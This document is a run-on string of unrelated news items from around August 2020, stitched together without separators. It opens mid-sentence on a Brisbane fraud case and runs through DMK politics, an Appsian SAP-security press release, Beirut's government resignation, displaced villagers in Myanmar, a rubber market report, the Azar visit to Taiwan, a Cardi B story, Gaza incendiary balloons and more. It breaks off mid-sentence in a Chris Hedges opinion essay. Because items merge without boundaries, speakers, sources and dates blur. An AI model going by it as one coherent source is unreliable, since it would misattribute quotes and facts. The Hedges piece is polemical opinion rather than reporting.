pleaded guilty to one count of fraud in Brisbane District Court on Tuesday. Nadj's barrister Michael Bonasia said his client was in a bad relationship with a man who introduced her to methylamphetamine at the time of her offending. Mr Bonasia also said her mother was diagnosed with breast cancer. 'She was using some of the money that she was taking from the employer to at least feed her partner's habit that then ultimately became her habit,' Mr Bonasia said. 'There were issues of gambling as well.' Nadj stole $87,000 through 50 separate transaction over an 18-month period while hooked on meth The court heard Nadj, who now runs her own car detailing business, ended the relationship and no longer uses drugs. Nadj has since apologised to her employer and offered up her 300 hours of annual leave as compensation. She was sentenced to three years' jail, and will be eligible for parole on February 10, 2021. Chennai: The DMK's top decision-making body, general council, will meet in Chennai on December 20, the first time after the party's electoral loss at the hands of archrival AIADMK in the May 2016 assembly polls to discuss "constructive activities" of the party. Party chief M Karunanidhi will chair the meeting, slated at DMK headquarters Anna Arivalayam, DMK general secretary K Anbazhagan said in a statement released on Saturday. The GC members will take up "constructive activities" of the party, he added. The meeting also comes in the wake of demands from a section of the party calling for elevation of DMK treasurer MK Stalin to a higher post. Political situation in the state, especially after J Jayalalithaa's demise and her staunch loyalist O Panneerselvam taking over as the new chief minister, will be looked into. The party will also take stock of the political situation in the state after its defeat in the May 2016 Assembly polls and ahead of the civic bodies polls. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. DALLAS, Aug. 11, 2020 /PRNewswire/ -- Appsian, the global leader in Enterprise Resource Planning (ERP) data security and compliance solutions, has announced their Gold Sponsorship and presentation schedule for SAPinsider Virtual Conference 2020 (August 18-21, 2020.) A premier conference for SAP customers, this year's virtual event will be home to six distinctive events that bring together an SAP community of more than 2,500 users to learn, share, innovate, and define strategies to maximize their SAP technology investments. Appsian will host two sessions in the GRC track, which will be available to all attendees beginning August 18, 2020. "When considering what to present this year, we realized that many attendees would be looking for innovative strategies around ERP data protection," said Greg Wendt, Executive Director of Security Solutions at Appsian. "Given the increase in attacks against ERP applications, along with newly identified vulnerabilities like RECON, SAPinsider's conference could not be coming at a better time. We're just thrilled to be a part of it, especially since we're presenting alongside a great customer, MARS, Inc.," he added. More information on Appsian's sessions are as follows: How MARS, Inc. is achieving unrivaled visibility into SAP Data Access & Usage The SAP team at MARS, Inc. knows that deep visibility into application activity is no longer a "nice to have" option. With newly discovered vulnerabilities (RECON) and growing data privacy mandates (GDPR, CCPA), understanding SAP data access and usage are as critical as maintaining a secure network. In this session, join Matt Pecorelli, Director of Cyber Security Operations at MARS, and the SAP Security Experts at Appsian as they explore how fine-grained visibility is being leveraged to address a myriad of security, compliance, and business process risks. Reinforcing SAP Security Controls in a Landscape of Vulnerabilities Advanced persistent threats, bugs like RECON, and even your insiders pose a growing challenge in securing SAP. Are your existing roles and controls enough to stop these threats? Likely not. While sufficient from a governance perspective, organizations must do more to combat threats that are circumventing existing measures. In this session, learn how you can reinforce legacy controls to strengthen risk mitigation in today's landscape of vulnerabilities. Register today for a complimentary limited access pass or "All Access" pass to SAPinsider Virtual Conference 2020. About Appsian: Appsian's ERP Data Security Platform delivers fine-grained, risk aware software solutions for critical business systems like PeopleSoft, SAP, and Oracle EBS. After installing directly into the application web server, Appsian is able to enhance access control capabilities, while implementing detailed logging and analytics all designed to enable customers to maintain complete control and visibility over their sensitive ERP data. To learn more, visit www.appsian.com. SOURCE Appsian Related Links http://www.appsian.com Lebanons Prime Minister Hassan Diab last night announced his governments resignation following widespread protests after a huge explosion that devastated Beirut. The August 4 blast at a port warehouse killed at least 163 people, injured more than 6,000 and destroyed swathes of the Mediterranean capital, compounding months of political and economic meltdown. The wearhouse had more than 2,000 tonnes of ammonium nitrate, officials said. Today we follow the will of the people in their demand to hold accountable those responsible for the disaster that has been in hiding for seven years, Diab said in a speech announcing the resignation. He blamed the disaster on endemic corruption and said those responsible should be ashamed because their actions had led to a catastrophe beyond description. I said before that corruption is rooted in every lever of the state but I have discovered that corruption is greater than the state, he said, pointing to a political elite for preventing change and saying his government faced a brick wall on reforms, Reuters reported. The blast, protests and the resignation have plunged Lebanese politics deeper into turmoil and may further hamper already-stalled talks with the International Monetary Fund (IMF) on a financial rescue plan, Reuters said. President Michel Aoun accepted the resignation and asked Diabs government - formed in January with the backing of Irans powerful Hezbollah group and its allies - to stay as a caretaker until a new cabinet is formed, a televised announcement said. Villagers who fled a conflict zone in Paletwa township, eastern Myanmar's Chin state, take refuge in a temporary camp for displaced persons at the Ngazinyaing Chaung Monastery compound in Sittwe, capital of neighboring Rakhine state, Aug. 10, 2020. Nearly 5,000 civilians displaced by fighting in western Myanmars Rakhine state have taken refuge in the state capital, trekking 100 kilometers (60 miles) after camps near the conflict zone were too full to take them, refugees and officials told RFA. The villagers huddling in Sittwe have fled a flare-up in the 20-month-old war between the Myanmar military and the rebel Arakan Army (AA) in Rakhine states northern townships and a small patch of neighboring Chin state. The 5,000 are part of an estimated population of 200,000 internally displaced persons (IDPs) living in Buddhist monasteries and crowded camps in Rakhine after fleeing a war that has killed or injured hundreds of civilians. In Sittwe, a port city of 150,000 people on the Bay of Bengal, newly displaced villagers now living in a temporary IDP camp at the Ngazinyaing Chaung Monastery compound told RFA that they had fled fighting in Chin states Paletwa township and spent three months at overcrowded IDP camps some 80 kilometers (50 miles) away in Rakhines Kyauktaw. More than 30 civilians from Paletwa's Kyat Yat Kaing village made the 100-kilometer (60-mile) trek from Kyauktaw to Sittwe, fearing arbitrary detentions by Myanmar soldiers known to raid villages and IDP camps, Aung Than Win, one of those who fled, told RFA on Sunday. When the soldiers entered the villages, they rummaged through the houses and arrested adult males on suspicion [of having connections to the AA], so we were fearful and ran away, Aung Than Win told RFA. The group later learned that the troops had burned down their houses a week after they had fled, he added. Aung Than Win and the others took shelter in Wei Gyi Htaung village, then moved on to an IDP camp in Kyauktaw township. The food supplies are OK in Kyauktaw, but the accommodations are pretty crowded. Thats why we left for Sittwe, he said. Kyaw Oo Maung, another IDP from the same village, said he has begun looking for casual work while living in the Sittwe camp because he doesnt know when he will be able to return home. I cant assume that we will be able to return home, he told RFAs reporter in Sittwe. I have made up my mind to stay at this IDP camp and make a living through manual labor jobs. Villagers who fled a conflict zone in Paletwa township, eastern Myanmar's Chin state, take refuge in a temporary camp for displaced persons at the Ngazinyaing Chaung Monastery compound in Sittwe, capital of neighboring Rakhine state, Aug. 10, 2020. Credit: RFA Food, health services needed Rakhine state, a mix of river delta and hilly farmland the size of the Netherlands or the U.S. state of Maryland which borders Bangladesh in Myanmars far west, has been scarred by sectarian violence between majority ethnic Rakhines and Rohingya Muslims since riots in June 2012 killed more than 200 people. Most of the 120,000 Rohingya who were burned out of their homes in 2012 recently marked eight years in the roughly 14 camps that house the Muslims in the greater Sittwe area. A 2017 military campaign that drove more than 740,000 Rohingya out of their communities in northern Rakhine and into refugee camps in Bangladesh has brought Western sanctions and war crimes charges against Myanmars military in international courts. The IDP camp at the Ngazinyaing Chaung Monastery compound opened about two weeks ago and is already housing more than 70 people from Hna Ma Dar village in Paletwa township. Food and social services are in short supply there, said Phyu Phyu Than, the person in charge of the camp. Currently, we need large supplies of food, she told RFA. Aside from this, we have an urgent need for health care facilities and latrines for the IDPs. We have scarce supplies of food and accommodations. The IDPS must stay at the monastery compound until makeshift camps are built for them, Phyu Phyu Than said, adding that she has requested that the Rakhine state government provide more assistance for incoming civilians who have been displaced. Win Myint, Rakhine's spokesman and minister of municipal affairs, told RFA that officials are ready to deliver relief aid upon receipt of the request. We already have some IDPs, and more are coming. Once we confirm their arrival, we will provide aid through the Disaster Management Department, he said, adding that officials will need to know where the IDPs are from and in which camps they are living. A tally by the Rakhine Ethnics Congress, a local NGO, puts the total number of IDPs in the state at around 200,000, including ones who have moved in with friends or relatives or are living in Buddhist monasteries. An official government count that captures only IDPs in temporary camps, however, puts the number at about 78,000 as of Aug. 6, with more than 4,900 IDPs now taking shelter in 30 IDP camps and in relatives homes in Sittwe. Mine explosion, shelling Fresh violence from the conflict on Sunday drove other villagers out of communities in northern Rakhine state. At least five people were injured in alleged shootings by military columns in Kyauktaw and Rathedaung townships on Sunday, locals in each area told RFA. A remote-controlled mine was detonated near Kyauktaws Apauk Wa village, with shooting following the blast injuring the commander of the community Wa police station, residents said. It is not clear if the shooting came from the Myanmar military or AA troops. Afterwards, soldiers questioned about 50 civilians from the village, including women, for hours, while three men were beaten during a military raid that prompted about 400 residents to flee their homes and go to Kyauktaw town for shelter, locals said. On the same day, Myanmar troops fired mortar shells fired from boats in the Mayu River in the vicinity of Zeydi Pyin village, with the blasts injuring four civilians from nearby Lower Kyaung Taung village, area residents said. Zeydi Pyin residents who fled their homes in fear have taken shelter in Rathedaung town and in nearby villages. RFA could not reach Myanmar military spokesman Brigadier General Zaw Min Tun for comment. The local people are on the run all the time, said Khin Saw Wai, a lawmaker from Rathedaung township. There are already many villagers taking shelter in Rathedaung. The monasteries are pretty crowded with the refugees. Some are forced to stay in food storage rooms. Reported by RFAs Myanmar Service. Translated by Ye Kaung Myint Maung. Written in English by Roseanne Gerin. SELBYVILLE, Del., Aug. 11, 2020 /PRNewswire/ -- According to a new report by Global Market Insights Inc., the liquid synthetic rubber market was valued at $10.54 billion in 2019 and is slated to exceed $12 billion by 2026, registering a CAGR of 4.7% from 2020 to 2026. The new research report delivers a highly detailed analysis of the overall market estimations and size, significant investment pockets, major winning strategies, opportunities and drivers, shifting market trends, and competitive scenarios. Global Market Insights Inc. Rising usage of liquid synthetic rubber across a plethora of end-user industries, which includes building & construction, automotive, paints & coatings, and electronics, is the most prominent factor driving the overall market growth. The increasing usage of different adhesives as well as sealants throughout the construction industry would further stimulate the liquid synthetic rubber market demand. Request a Sample Report: https://www.gminsights.com/request-sample/detail/4007 The liquid butadiene segment would account for more than 20% industry share of the liquid synthetic rubber market by the end of the forecast timeframe. liquid butadiene a hydrophobic viscous liquid that boasts of superior electrical resistance and exceptional low-temperature flexibility. The rubber can also be processed using peroxide, sulfur, or oxidative curing. The product has significant compatibility with numerous rubbers as well as hydrocarbon solvents, which makes it ideal for a number of UV ambient as well as heat-curable applications. The product is also utilized as a coagent for EPDM, reactive plasticizer, and in thermoset PU modification. Key reasons for liquid synthetic rubber market growth: Rising adoption across the automotive industry. Increasing application scope across the building and construction segment. The surge in demand from the APAC manufacturing industry. 2026 forecasts anticipate the 'tire manufacturing' segment to dominate revenue growth: With respect to application, the overall tire manufacturing segment is expected to witness substantial growth over the coming years. The product is extensively used in the automotive sector for tire manufacturing activities as it enhances balance and wears resistance. LSR used across tire components like rim cushion, bead filler, tread, sidewall or carcass, and cushion. When it comes to bead filler, the product is utilized to enhance hardness, dimensional stability, as well as filler dispersion. Exceptional abrasion resistance and extrudability improve the tread's physical properties. The co-vulcanization ability of LSR helps to prevent oil migration. Additionally, favorable government initiatives coupled with investments across the automotive sector would expedite industry growth. Because tires are an important part of the automobile industry, it is slated to experience the same revenue growth trajectory. Europe and North America to drive industry growth in terms of revenue: Europe is projected to hold approximately 24% industry share of the overall liquid synthetic rubber market share by the end of the forecast timeframe. In January 2019, the final anti-dumping tariffs sets on rubber as well as tire products were introduced in Europe. Rising local tire and rubber production would support industry proliferation. Request customization of this report: https://www.gminsights.com/roc/4007 North America is anticipated to witness more than 4.5% CAGR through the forecast timeframe owing to the positive outlook towards tire manufacturing throughout the region. Tire manufacturers are establishing production units across the U.S. to be in closer proximity to customers. Such industry trends coupled with financial support from government initiatives would further drive the liquid synthetic rubber market outlook. Leading market players: Prominent industry players the liquid synthetic rubber industry include Synthomer PLC, HB Fuller, Kuray Co., Ltd., Asahi Kasei Corporation, Nippon Soda Co., Ltd., Efremov Synthetic Rubber, and Evonik Industries. They have incorporated several strategies including partnership, expansion, collaboration, joint ventures, and others to heighten their stand in the industry. Related Reports: Polyacrylamide Market Future Business Strategies and Revenue Impact Analysis - 2026 Colloidal Selenium Nanoparticles Market Business Strategies And Competitive Analysis - 2026 About Global Market Insights, Inc. Global Market Insights, Inc., headquartered in Delaware, U.S., is a global market research and consulting service provider. Offering syndicated and custom research reports, growth consulting, and business intelligence services, Global Market Insights, Inc. aims to help clients with penetrative insights and actionable market data that aid in strategic decision making. GMIPulse, our business analytics platform offers an online, interactive option of exploring our proprietary industry research data in an easy-to-use and dynamic manner. Clients get to explore market intelligence across 11 top-level categories and hundreds of industry segments within them, covering regional, company level, and cross-sectional statistics that make our offering a stand-out for decision-makers. Contact Us: Arun Hegde Corporate Sales, USA Global Market Insights, Inc. Phone: 1-302-846-7766 Toll Free: 1-888-689-0688 Email: [email protected] Web: https://www.gminsights.com Related Images liquid-synthetic-rubber-market.jpg Liquid Synthetic Rubber Market Statistics - 2026 SOURCE Global Market Insights Inc. Lithuanian Foreign Minister Linas Linkevicius, Polish Foreign Minister Jacek Czaputowicz, and their Ukrainian counterpart Dmytro Kuleba have called on the Belarusian authorities to refrain from using force and release all people detained during the night after Sunday's presidential election in the country. "As foreign ministers of the Lublin Triangle states, we are deeply concerned with the escalation of the situation in Belarus after the presidential elections and call upon the authorities to refrain from the use of force and to release all those detained last night," the ministers said in a statement published on the Ukrainian Foreign Ministry's website on Monday evening. The ministers expressed confidence that the current situation can be resolved for the benefit of the people and Belarus "only by means of dialogue," offering their assistance in facilitating it. "In case of the need, we are open for any assistance or good offices in facilitating this dialogue," they said. The ministers also reiterated their full support of the independence and sovereignty of Belarus, stressing that respect for fundamental freedoms and human rights, including democracy and the rule of law, is crucial for the country's further development. "The well-being and prosperity of Belarus and its people are important for the entire Europe and specifically the region. We are all interested in continuing mutually beneficial dialogue as well as cooperation based upon democratic values and focused on creating conditions for a common and stable future," the ministers said in their statement. U.S. to discuss WHO alternatives with Taiwan: U.S. health official ROC Central News Agency 08/10/2020 09:10 PM Taipei, Aug. 10 (CNA) The United States will talk with Taiwan and other global partners about "appropriate vehicles" to continue U.S. support for global public health after it officially withdraws from the World Health Organization (WHO), U.S. Health and Human Services Secretary Alex Azar said Monday. During a press conference in Taipei, Azar said President Donald Trump announced the U.S.'s withdrawal from the WHO "out of the frustration that the WHO seemed unable and unwilling to reform itself to ensure objective transparent behavior by member states." Azar said the U.S. has always been and will remain the largest funder of global public health in the world despite the withdrawal decision, which goes into effect in July 2021. "After our departure from the WHO, we will work with others in the world community to find the appropriate vehicles for continuing to support on a multilateral and bilateral basis global public health on the order that the U.S. has done in the past," he stressed. "We will of course talk to Taiwan and other entities as we go forward," he said, when asked by a reporter if Taiwan, which has not been invited to the World Health Assembly, the WHO's decision-making body, since 2016 could join if the U.S. forms a new international health organization following its exit from the WHO. Whether the U.S. actually pulls out of the WHO remains a big question mark. Trump's opponent in the November 2020 U.S. presidential election vowed in early July to reverse the Trump's WHO withdrawal if he is elected. Azar was speaking at Taiwan's Central Epidemic Command Center (CECC) in Taipei after he and his Taiwanese counterpart Health Minister Chen Shih-chung () witnessed the signing of a bilateral memorandum of understanding (MOU) on health cooperation. The MOU allows the two sides to strengthen their existing cooperation and collaboration on health-related issues, the American Institute in Taiwan, the de facto American embassy in Taiwan, said in a press release. Asked if the signing of the MOU will give Taiwan easier access to vaccines for COVID-19, Azar said the U.S. is now speeding up its research and development of vaccines and therapeutics under the Trump administration's "Warp Speed" initiative. "Our first priority of course is to develop and produce enough quantity of safe and effective FDA-approved vaccines and therapeutics for use in the U.S.," he said. "But we anticipate having capacity that once those needs are satisfied, those products will be available in the world community according to fair and equitable distributions that we will consult the international community on," he said, without elaborating. Azar and his delegation arrived in Taiwan on Sunday. The visit is the first trip to Taiwan made by a U.S. Cabinet-level official since 2014. His visit is also being billed by the U.S. as the highest-level visit by an American Cabinet official since the break in formal diplomatic relations between Washington and Taipei in 1979 because of the health secretary's rank in order of succession to the U.S. president. The health secretary is 12th in the order of succession. The highest ranking visit by a Cabinet official previously was by a transportation secretary, ranked 14th in the order of succession, in 2000. Environmental Protection Agency administrator Gina McCarthy visited Taiwan in 2014. Asked about the significance of his visit, Azar said the trip "represents an acknowledgment of the U.S. and Taiwan's deep friendship and partnership across security, economic, health care, and democratic, open transparent values." Praising Taiwan as a model "of transparent, collaborative, cooperative public health and information sharing" amid COVID-19, "it is critical that we support and recognize those who share those values in transparency in health care," he said. Azar is scheduled to meet with Foreign Minister Joseph Wu () on Tuesday morning before delivering an address at National Taiwan University's Public Health College in the afternoon. The AIT has not made public Azar's full itinerary nor has it disclosed when the delegation will leave Taiwan. (By Joseph Yeh) Enditem/ls NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Newsflare The UK government suffered a defeat as it attempted to pass a policing bill that would have restricted protests outside parliament. Home Secretary Priti Patel's policing bill would crack down on protests in central London outside the Houses of Parliament, Downing Street and Whitehall. The bill deems any demonstration that makes "the passage of a vehicle more difficult" illegal, severely restricting the size of protests in these areas. Protesters would have been at risk of lengthy prison sentences by the Police, Crime, Sentencing and Courts Bill as actions such as making loud noise could be deemed as "serious annoyance." However, an amendment protecting ways to organise protests around parliament was passed in the House of Lords on Monday (January 17). Footage from January 17 shows protesters supporting the Kill the Bill movement gathering in Parliament Square, central London. The Kill the Bill movement has been strongly opposed to the policing bill and have organised a long series of protests across the UK. Cardi B's raunchy new single WAP with Megan Thee Stallion is currently making waves all over the world. And one place where the song is doing exceptionally well is New Zealand. On Tuesday, Cardi, 27, responded to a fan account that tweeted that WAP could potentially debut at No. 1 in New Zealand, making it her second Kiwi chart topper. Scandalous: Cardi B's raunchy new single WAP with Megan Thee Stallion is currently making waves all over the world. (Both pictured) The rapper retweeted it and added: 'They love me out there!' WAP is also doing well in Australia too, where it's currently sitting at No. 1 on the official iTunes chart. Cardi and Megan's WAP music video caused quite the stir when it was released late last week, leaving fans divided over the 'filthy' lyrics and visuals. The song contains provocative lyrics on sexual female empowerment with some very explicit innuendos for sex, prompting a strong reaction from fans. 'They love me out there!' On Tuesday, Cardi, 27, responded to a fan account that tweeted that WAP could potentially debut at No. 1 in New Zealand, making it her second Kiwi chart topper 'Cardi B's new song #WAP is the nastiest dirtiest freakiest song my Christian ears have ever heard and Im ready to play it everywhere I go,' user @mitchi1489 excitedly tweeted. 'The visuals for WAP are incredible, the song is pure filth, my poor innocent self,' user @sachindattani joked. But fan @DonPusha said, 'WAP lyrics are pure filth. I'm here for it.' While @LuvRayn added: 'I needed to hear the unedited version of WAP so the pure filth could properly resonate.' Shocking: Cardi and Megan's WAP music video caused quite the stir when it was released late last week, leaving fans divided over the 'filthy' lyrics and visuals 'The visuals for WAP are incredible, the song is pure filth, my poor innocent self,' one fan joked The clip featured six surprise celebrity cameos in total, as well as Kylie Jenner, including Normani, Rosalia, Rubi Rose, Sukihana, and Mulatto. However, for some it was the sight of Kylie, 22, dressed in a sexy leopard print ensemble that caused the most controversy online. 'When Kylie Jenner shows up in your music video for no reason other than to look hot and walk,' one Twitter user wrote, setting the tone for the reactions. In fact, some of the negative response was so strong, that there was even a Change.org petition started to having Kylie removed from the video, started by a user named Nini who said: 'The video was perfect until we saw K and I wanted to throw my phone.' The Lagos State Government on Tuesday said it had remitted over N1 billion as accrued pension rights of 259 retirees for the month of July. The Director-General, Lagos State Pension Commission (LASPEC), Babalola Obilana, made the disclosure during a meeting with the Pension Fund Administrators (PFAs) and insurance companies at Alausa, Ikeja. Mr Obilana noted that the state government from inception of the Contributory Pensions Scheme (CPS) has complied with the financial obligations of the scheme. He explained that the compliance was in relation to the monthly funding of the Retirement Savings Accounts (RSA) of employees and the payment of death benefits to the next-of-kin of employees who died while in active service. He said Governor Babajide Sanwo-Olu will not relent on his promise to remit accrued pension rights into the RSA of employees on monthly basis in spite of the financial challenges the state might face. Mr Obilana said he could give the assurance on behalf of the governor because of his commitment to the welfare of the states serving and retired workforce. He promised to monitor the monthly payments by all state parastatals and agencies through the Compliance Inspection Exercise. Mr Obilana said this was with a view to ensure that monthly deductions from employees salaries and employers contributions are remitted into the respective employees RSA. The director-general also urged the Pension Service Providers to improve on their services to retirees and ensure prompt payment and release of Retirement Bond Certificates to the beneficiaries monthly. (NAN) Israel closed the Kerem Shalom goods crossing with the Gaza Strip on the morning of Aug. 11. The decision was taken the previous night, after a long day of explosive-laden balloons landing in Israeli territories and igniting at least 30 bush fires. According to Israeli authorities, no injuries were reported, but 400 dunams (99 acres) of land in the Beeri Forest were burned. Also on Aug. 10, Hamas launched a barrage of at least four rockets toward the Mediterranean Sea. A Palestinian source said that the barrage should serve as a message to Israel, to let it know that armed groups in Gaza will not "remain silent" in the face of an Israeli "aggression." Footage of the launch was posted online, with Palestinian residents seen cheering at the site. A statement issued by the Coordinator of Government Activities in the Territories (COGAT) said that the crossing point would be closed from the morning of Aug. 11 "until further notice." It added that the decision was made following security deliberations and in light of repeated terror attacks committed by terrorist organizations in the Gaza Strip against Israeli citizens, which is a violation of the Israeli sovereignty." Still, according to COGAT, fuel and humanitarian aid, including food, would continue to be allowed into the Gaza Strip. Shortly after the closure of the Kerem Shalom crossing, the Israeli authorities detected two new bush fires, apparently sparked by incendiary balloons. Heads of local and regional councils in the south of Israel near the Gaza border called for a response to the launch of the balloons. "Residents are paying a heavy price. The government must put their disputes aside and address them," said the heads of the councils. Tensions on the Israel-Gaza border have increased in the past week, with incendiary balloons launched daily from Gaza. On Aug. 2, a rocket fired at the southern city of Sderot was intercepted by the Iron Dome anti-missile defense system. Subsequently, Israeli warplanes struck several Hamas sites in the central and southern Gaza Strip. The Israel Defense Forces (IDF) said its fighter jets hit a cement factory used in the construction of underground infrastructure and underground facilities used by the Hamas terror group. On Aug. 9, the IDF said that Palestinians fired at Israeli troops near the border fence. The troops arrived to the area following reports of the sound of shots in the location where technicians were repairing the fence. Last week, Israeli pundits said that Hamas is not interested in generating a new round of violence with Israel. Still, according to a Haaretz report (quoting a Palestinian source close to Hamas), the incendiary balloons campaign is not coincidental, but designed to relate a message to Israel and to the international community. Over the last few months, Israel and Hamas have negotiated indirectly a prisoner exchange deal. Israel had hinted that it would be willing to advance with such an agreement as a humanitarian gesture on the backdrop of the coronavirus crisis. Hamas now blames Israel for refusing to conclude the deal, which should also include the advancement of development and infrastructure projects in the Gaza Strip. U.S. Death March Regardless of the outcome, the election will not stop the rise of hypernationalism, crisis cults and other signs of an empire's terminal decline. By Chris Hedges August 10, 2020 " Information Clearing House " - The terminal decline of the United States will not be solved by elections. The political rot and depravity will continue to eat away at the soul of the nation, spawning what anthropologists call crisis cults movements led by demagogues that prey on an unbearable psychological and financial distress. These crisis cults, already well established among followers of the Christian Right and Donald Trump, peddle magical thinking and an infantilism that promises in exchange for all autonomy prosperity, a return to a mythical past, order and security. The dark yearnings among the white working class for vengeance and moral renewal through violence, the unchecked greed and corruption of the corporate oligarchs and billionaires who manage our failed democracy, which has already instituted wholesale government surveillance and revoked most civil liberties, are part of the twisted pathologies that infect all civilizations sputtering towards oblivion. I witnessed the deaths of other nations during the collapse of the communist regimes in Eastern Europe and later in the former Yugoslavia. I have smelled this stench before. The removal of Trump from office will only exacerbate the lust for racist violence he incites and the intoxicating elixir of white nationalism. The ruling elites, who first built a mafia economy and then built a mafia state, will continue under Biden, as they did under Trump, Barack Obama, George W. Bush, Bill Clinton and Ronald Reagan, to wantonly pillage and loot. The militarized police will not stop their lethal rampages in poor neighborhoods. The endless wars will not end. The bloated military budget will not be reduced. The worlds largest prison population will remain a stain upon the country. The manufacturing jobs shipped overseas will not return and the social inequality will grow. The for-profit health care system will gouge the public and price millions more out of the health care system. The language of hate and bigotry will be normalized as the primary form of communication. Internal enemies, including Muslims, immigrants and dissidents, will be defamed and attacked. The hyper-masculinity that compensates for feelings of impotence will intensify. It will direct its venom towards women and all who fail to conform to rigid male stereotypes, especially artists, LGBTQ people and intellectuals. Lies, conspiracy theories, trivia and fake news what Hannah Arendt called nihilistic relativism will still dominate the airwaves and social media, mocking verifiable fact and truth. The ecocide, which presages the extinction of the human species and most other life forms, will barrel unabated towards its apocalyptic conclusion. We run heedlessly into the abyss after putting something in front of us to stop us seeing it, Pascal wrote. The worse it gets and it will get worse as the pandemic hits us in wave after deadly wave with an estimated 300,000 Americans dead by December and possibly 400,000 by January the more desperate the nation will become. Tens of millions of people will be thrown into destitution, evicted from their homes and abandoned. Social collapse, as Peter Drucker observed in Weimar Germany in the 1930s, brings with it a loss of faith in ruling institutions and ruling ideologies. With no apparent answers or solutions to mounting chaos and catastrophe and Biden and the Democratic Party have already precluded the kind of New Deal programs and assault on oligarchic power that saved us during the Great Depression demagogues and charlatans need only denounce all institutions, all politicians, and all political and social conventions while conjuring up hosts of phantom enemies. Drucker saw that Nazism succeeded not because people believed in its fantastic promises, but in spite of them. Nazi absurdities, he pointed out, had been witnessed by a hostile press, a hostile radio, a hostile cinema, a hostile church, and a hostile government which untiringly pointed out the Nazi lies, the Nazi inconsistency, the unattainability of their promises, and the dangers and folly of their course. Nobody, he noted, would have been a Nazi if rational belief in the Nazi promises had been a prerequisite. The poet, playwright and socialist revolutionary Ernst Toller, who was forced into exile and stripped of his citizenship when the Nazis took power in 1933, wrote much the same in his autobiography: The people are tired of reason, tired of thought and reflection. They ask, what has reason done in the last few years, what good have insights and knowledge done us. After Toller committed suicide in 1939, W.H. Auden in his poem In Memory of Ernst Toller wrote: We are lived by powers we pretend to understand: They arrange our loves; it is they who direct at the end The enemy bullet, the sickness, or even our hand. Crisis Cults Crave Conflict The poor, the vulnerable, those who are not white or not Christian, those who are undocumented or who do not mindlessly repeat the cant of a perverted Christian nationalism, will be offered up in a crisis to the god of death, a familiar form of human sacrifice that plagues sick societies. Once these enemies are purged from the nation, we are promised, America will recover its lost glory, except that once one enemy is obliterated another takes its place. Crisis cults require a steady escalation of conflict. This is what made the war in the former Yugoslavia inevitable. Once one stage of conflict reaches a crescendo it loses its efficacy. It must be replaced by ever more brutal and deadly confrontations. The intoxication and addiction to greater and greater levels of violence to purge the society of evil led to genocide in Germany and the former Yugoslavia. We are not immune. It is what Ernst Junger called a feast of death. These crisis cults are, as Drucker understood, irrational and schizophrenic. They have no coherent ideology. They turn morality upside down. They appeal exclusively to emotions. Burlesque and celebrity culture become politics. Depravity becomes morality. Atrocities and murder become heroism. Crime and fraud become justice. Greed and nepotism become civic virtues. What these cults stand for today, they condemn tomorrow. At the height of the reign of terror on May 6, 1794 during the French Revolution, Maximilien Robespierre announced that the Committee for Public Safety now recognized the existence of God. The French revolutionaries, fanatical atheists who had desecrated churches and confiscated church property, murdered hundreds of priests and forced another 30,000 into exile, instantly reversed themselves to send to the guillotine those who disparaged religion. In the end, exhausted by the moral confusion and internal contradictions, these crisis cults yearn for self-annihilation. The French sociologist Emile Durkheim in his classic book On Suicide found that when social bonds are shattered, when a population no longer feels it has a place or meaning in a society, personal and collective acts of self-destruction proliferate. Societies are held together by a web of social bonds that give individuals a sense of being part of a collective and engaged in a project larger than the self. This collective expresses itself through rituals, such as elections and democratic participation or an appeal to patriotism, and shared national beliefs. The bonds provide meaning, a sense of purpose, status and dignity. They offer psychological protection from impending mortality and the meaninglessness that comes with being isolated and alone. The breaking of these bonds plunges individuals into deep psychological distress. Durkheim called this state of hopelessness and despair anomie, which he defined as ruleless-ness. Ruleless-ness means the norms that govern a society and create a sense of organic solidarity no longer function. The belief, for example, that if we work hard, obey the law and get a good education we can achieve stable employment, social status and mobility along with financial security becomes a lie. The old rules, imperfect and often untrue for poor people of color, nevertheless were not a complete fiction in the United States. They offered some Americans especially those from the white working and middle class modest social and economic advancement. The disintegration of these bonds has unleashed a widespread malaise Durkheim would have recognized. The self-destructive pathologies that plague the United States opioid addiction, gambling, suicide, sexual sadism, hate groups and mass shootings are products of this anomie. So is our political dysfunction. My book, America: The Farewell Tour, is an examination of these pathologies and the widespread anomie that defines American society. Mocking Merit The economic structures, even before the pandemic, were reconfigured to mock faith in a meritocracy and the belief that hard work leads to a productive and valued role in society. American productivity, as The New York Times pointed out, has increased 77 percent since 1973 but hourly pay has grown only 12 percent. If the federal minimum wage was attached to productivity, the newspaper wrote, it would be more than $20 an hour now, not $7.25. Some 41.7 million workers, a third of the workforce, earn less than $12 an hour, and most of them do not have access to employer-sponsored health insurance. A decade after the 2008 financial meltdown, the Times wrote, the average middle class familys net worth is more than $40,000 below what it was in 2007. The net worth of black families is down 40 percent, and for Latino families the figure has dropped 46 percent. Some four million evictions are filed each year. One in four tenant households spends about half its pretax income on rent. Each night some 200,000 people sleep in their cars, on streets or under bridges. And these stark figures represent the good times Biden and the Democratic Party leaders promise to restore. Now, with real unemployment probably close to 20 percent the official figure of 10 percent excludes those furloughed or those who have stopped looking for work some 40 million people are at risk of being evicted by the end of the year. An estimated 27 million people are expected to lose their health insurance. Banks are stockpiling reserves of cash to cope with the expected wave of bankruptcies and defaults on mortgages, student loans, car loans, personal loans and credit card debt. The ruleless-ness and anomie that defines the lives of tens of millions of Americans was orchestrated by the two ruling parties in the service of a corporate oligarchy. If we do not address this anomie, if we do not restore the social bonds shattered by predatory corporate capitalism, the decay will accelerate. This dark human pathology is as old as civilization itself, repeated in varying forms in the twilight of ancient Greece and Rome, the finale of the Ottoman and Austro-Hungarian empires, revolutionary France, the Weimar Republic and the former Yugoslavia. The social inequality that characterizes all states and civilizations seized by a tiny and corrupt cabal in our case corporate leads to an inchoate desire by huge segments of the population to destroy. The ethnic nationalists Slobodan Milosevic, Franjo Tudjman, Radovan Karadzic? and Alija Izetbegovic? in the former Yugoslavia assumed power in a similar period of economic chaos and political stagnation. Yugoslavs by 1991 were suffering from widespread unemployment and had seen their real incomes reduced by half from what they had been a generation before. These nationalist demagogues sanctified their followers as righteous victims stalked by an array of elusive enemies. They spoke in the language of vengeance and violence, leading, as it always does, to actual violence. They trafficked in historical myth, deifying the past exploits of their race or ethnicity in a perverse kind of ancestor worship, a mechanism to give to those who suffered from anomie, who had lost their identity, dignity and self-worth, a new, glorious identity as part of a master race. When I walked through Montgomery, Alabama, a city where half of the population is African-American, with the civil rights attorney Bryan Stevenson a few years ago, he pointed out the numerous 